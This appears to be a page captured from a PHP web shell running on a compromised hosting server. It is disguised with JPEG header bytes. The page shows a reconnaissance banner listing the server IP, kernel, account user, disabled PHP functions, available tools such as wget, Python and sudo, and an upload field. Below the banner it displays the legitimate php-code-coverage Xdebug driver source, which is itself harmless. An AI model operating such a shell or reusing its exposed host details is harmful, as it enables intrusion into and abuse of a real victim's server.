ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.137.200.255 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/phpunit/php-code-coverage/src/Driver/ |
Upload File : |
<?php /* * This file is part of the php-code-coverage package. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Driver; use SebastianBergmann\CodeCoverage\Filter; use SebastianBergmann\CodeCoverage\RuntimeException; /** * Driver for Xdebug's code coverage functionality. * * @codeCoverageIgnore */ final class Xdebug implements Driver { /** * @var array */ private $cacheNumLines = []; /** * @var Filter */ private $filter; /** * @throws RuntimeException */ public function __construct(Filter $filter = null) { if (!\extension_loaded('xdebug')) { throw new RuntimeException('This driver requires Xdebug'); } if (!\ini_get('xdebug.coverage_enable')) { throw new RuntimeException('xdebug.coverage_enable=On has to be set in php.ini'); } if ($filter === null) { $filter = new Filter; } $this->filter = $filter; } /** * Start collection of code coverage information. */ public function start(bool $determineUnusedAndDead = true): void { if ($determineUnusedAndDead) { \xdebug_start_code_coverage(XDEBUG_CC_UNUSED | XDEBUG_CC_DEAD_CODE); } else { \xdebug_start_code_coverage(); } } /** * Stop collection of code coverage information. */ public function stop(): array { $data = \xdebug_get_code_coverage(); \xdebug_stop_code_coverage(); return $this->cleanup($data); } private function cleanup(array $data): array { foreach (\array_keys($data) as $file) { unset($data[$file][0]); if (!$this->filter->isFile($file)) { continue; } $numLines = $this->getNumberOfLinesInFile($file); foreach (\array_keys($data[$file]) as $line) { if ($line > $numLines) { unset($data[$file][$line]); } } } return $data; } private function getNumberOfLinesInFile(string $fileName): int { if (!isset($this->cacheNumLines[$fileName])) { $buffer = \file_get_contents($fileName); $lines = \substr_count($buffer, "\n"); if (\substr($buffer, -1) !== "\n") { $lines++; } $this->cacheNumLines[$fileName] = $lines; } return $this->cacheNumLines[$fileName]; } }